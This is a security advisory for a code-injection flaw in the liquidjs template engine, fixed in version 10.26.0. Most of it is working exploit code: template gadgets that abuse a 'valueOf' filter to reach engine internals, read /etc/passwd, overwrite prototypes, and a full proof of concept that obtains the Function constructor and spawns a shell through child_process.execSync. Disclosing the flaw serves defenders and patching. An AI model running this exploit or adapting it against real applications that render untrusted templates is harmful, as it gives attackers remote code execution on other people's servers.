CVE-2026-45618 — liquidjs
Improper Control of Generation of Code ('Code Injection')Summary
It is possible to execute arbitrary code with crafted templates
Details
<details>
<summary>
1|valueOf -> this when evaluating the filter
</summary>
{%assign r=1|valueOf%}
{{r|inspect}}
{"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}
</details>
<details> <summary> function calls with a controlled first argument via comprable
</summary>
import { Liquid } from "liquidjs";
const engine = new Liquid();
const storeFn = (dst, src) => {
const parts = src.split(".");
const path = parts.slice(0, -1).join(".");
const prop = parts.at(-1);
return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign fs = r.liquid.options.fs
assign n = "name"%}
${storeFn("equals", "fs.readFileSync")}
${storeFn("gt", "fs.readFileSync")}
${storeFn("geq", "fs.readFileSync")}
${storeFn("lt", "fs.readFileSync")}
${storeFn("leq", "fs.readFileSync")}
{{m == "/etc/passwd"}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
<img width="1426" height="717" alt="image" src="https://github.com/user-attachments/assets/0618eb81-fb0d-4100-a6a0-556982decf8a" />
</details>
<details><summary>changing the prototype of things</summary>
import { Liquid } from "liquidjs";
const engine = new Liquid();
engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first %}
{{m|log}}
{% assign __proto__ = r.liquid.parser %}
{{m|log}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
<img width="723" height="211" alt="image" src="https://github.com/user-attachments/assets/c05f4c4a-4151-4765-b569-3300ad837668" />
</details>
When calling functions via the comparable gadget, this will be the scope.
By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.
private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
const filepath = yield this.loader.lookup(file, type, sync, currentFile)
return this.parse(yield this.readFile(!!sync, filepath), filepath)
}
PoC
Complete instructions, including specific configuration details, to reproduce the vulnerability.
import { Liquid } from "liquidjs";
const engine = new Liquid();
const storeFn = (dst, src) => {
const parts = src.split(".");
const path = parts.slice(0, -1).join(".");
const prop = parts.at(-1);
return `
{% assign _g = ${path}|group_by:"0"%}
{% assign _gs = _g | where:n,"${prop}"|first%}
{% assign ${dst} = _gs.items | first | last %}`;
};
const tpl = `
{% liquid
assign r = 1|valueOf
assign m = r.context.scopes|first
assign l = r.liquid
assign p = l.parser
assign f = l.filters
assign n = "name"%}
${storeFn("equals", "p.parseFile")}
${storeFn("gt", "p.parseFile")}
${storeFn("geq", "p.parseFile")}
${storeFn("lt", "p.parseFile")}
${storeFn("leq", "p.parseFile")}
${storeFn("readFile", "f.default")}
${storeFn("lookup", "f.raw.handler")}
{% assign loader = m %}
{% assign context = m %}
{% assign opts = m %}
{% assign liquid = m %}
{% assign options = m %}
{% assign __proto__ = p %}
{% assign tagDelimiterLeft = n %}
{% assign tagDelimiterRight = n %}
{% assign outputDelimiterLeft = '[' %}
{% assign outputDelimiterRight = ']'%}
{# set to some some function, so that filters['constructor'] -> Function #}
${storeFn("filters", "f.raw.handler")}
{# store Function #}
{% assign output = m == "[0|constructor]" | first %}
{% assign val = output.value.filters|first %}
{# set scope.equals to Function #}
${storeFn("equals", "val.handler")}
{% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
{{RCE}}
`;
const v = await engine.parseAndRender(tpl, {});
console.log(v.trim());
Impact
What kind of vulnerability is it? Who is impacted? Remote Code Execution.
| Software | From | Fixed in |
|---|---|---|
liquidjs
|
- | 10.26.0 |
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